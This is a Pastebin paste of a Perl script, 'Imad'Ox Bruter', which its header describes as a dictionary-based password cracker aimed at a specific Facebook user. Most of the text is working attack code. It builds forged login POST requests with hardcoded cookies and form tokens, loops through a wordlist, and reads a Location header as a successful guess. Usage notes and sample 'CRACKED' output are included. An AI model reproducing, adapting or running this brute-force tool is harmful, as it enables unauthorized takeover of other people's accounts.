Guest User

Untitled

a guest
Aug 11th, 2017
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.44 KB | None | 0 0
  1.  
  2. #!/usr/bin/perl
  3. #
  4. # Tool: Imad'Ox Bruter
  5. # Author: Imad'Ox Hunter
  6. # Contact: imadelouajib@gmail.com
  7. # Code date: 17 April 2013
  8. #
  9. #
  10. # Description:
  11. # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  12. #
  13. # Usage:
  14. # perl Imad'Ox-Bruter.pl login wordlist
  15. # login could be either a user's email address or profile name
  16. #
  17. # Module Requirements:
  18. #
  19. # Install module if missing:
  20. # perl -MCPAN -e 'install Net::SSLeay'
  21. #
  22. # Demo:
  23. # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst
  24. #
  25. # --- Imad'Ox-Bruter Facebook password cracking tool
  26. # --- By Imad'Ox Hunter
  27. # --- www.facebook.com/imad.elouajib
  28. #
  29. # [+] Cracking Facebooklogin@facebook.com ...
  30. #
  31. # [-] test -> Failed
  32. # [-] test123 -> Failed
  33. # [-] testtest -> Failed
  34. # [-] testest123 -> Failed
  35. # [-] qwerty -> Failed
  36. # [-] azerty -> Failed
  37. # [-] password -> Failed
  38. # [-] password123 -> Failed
  39. #
  40. ########################################################
  41. # [+] CRACKED! Your password is P@$$W0RD
  42. ########################################################
  43. #
  44.  
  45. use strict;
  46. use Net::SSLeay::Handle;
  47.  
  48. if(!defined($ARGV[0] && $ARGV[1])) {
  49.  
  50. system('clear');
  51. print "+++ La commande est : perl $0 <utilisation> <wordlist.txt>\n\n";
  52. exit; }
  53.  
  54. my $user = $ARGV[0];
  55. my $wordlist = $ARGV[1];
  56.  
  57. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  58.  
  59. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  60. print "+++ Coded by Imad'Ox-Hunter\n";
  61. print "+++ www.fb.com/imad.elouajib\n";
  62. print "\n[+] Now Cracking $user ...\n\n";
  63.  
  64. while (my $password = <LIST>) {
  65. chomp ($password);
  66. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  67.  
  68. my $a = "POST /login.php HTTP/1.1";
  69. my $b = "Host: www.facebook.com";
  70. my $c = "Connection: close";
  71. my $e = "Cache-Control: max-age=0";
  72. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  73. my $g = "Origin: https://www.facebook.com";
  74. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  75. my $i = "Content-Type: application/x-www-form-urlencoded";
  76. my $j = "Accept-Encoding: gzip,deflate,sdch";
  77. my $k = "Accept-Language: en-US,en;q=0.8";
  78. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  79.  
  80. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  81. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  82. my $cl = length($post);
  83. my $d = "Content-Length: $cl";
  84.  
  85.  
  86. my ($host, $port) = ("www.facebook.com", 443);
  87.  
  88. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  89.  
  90.  
  91. print SSL "$a\n";
  92. print SSL "$b\n";
  93. print SSL "$c\n";
  94. print SSL "$d\n";
  95. print SSL "$e\n";
  96. print SSL "$f\n";
  97. print SSL "$g\n";
  98. print SSL "$h\n";
  99. print SSL "$i\n";
  100. print SSL "$j\n";
  101. print SSL "$k\n";
  102. print SSL "$l\n";
  103. print SSL "$cookie\n\n";
  104.  
  105. print SSL "$post\n";
  106.  
  107. my $success;
  108. while(my $result = <SSL>){
  109. if($result =~ /Location(.*?)/){
  110. $success = $1;
  111. }
  112. }
  113. if (!defined $success)
  114. {
  115. print "[-] $password -> Mauvais mot de passe \n";
  116. close SSL;
  117. }
  118. else
  119. {
  120. print "\n########################################################\n";
  121. print "[+] Yees!! Le mot de passe du compte => $password :D\n";
  122. print "########################################################\n\n";
  123. close SSL;
  124. exit;
  125. }
  126. }
Add Comment
Please, Sign In to add comment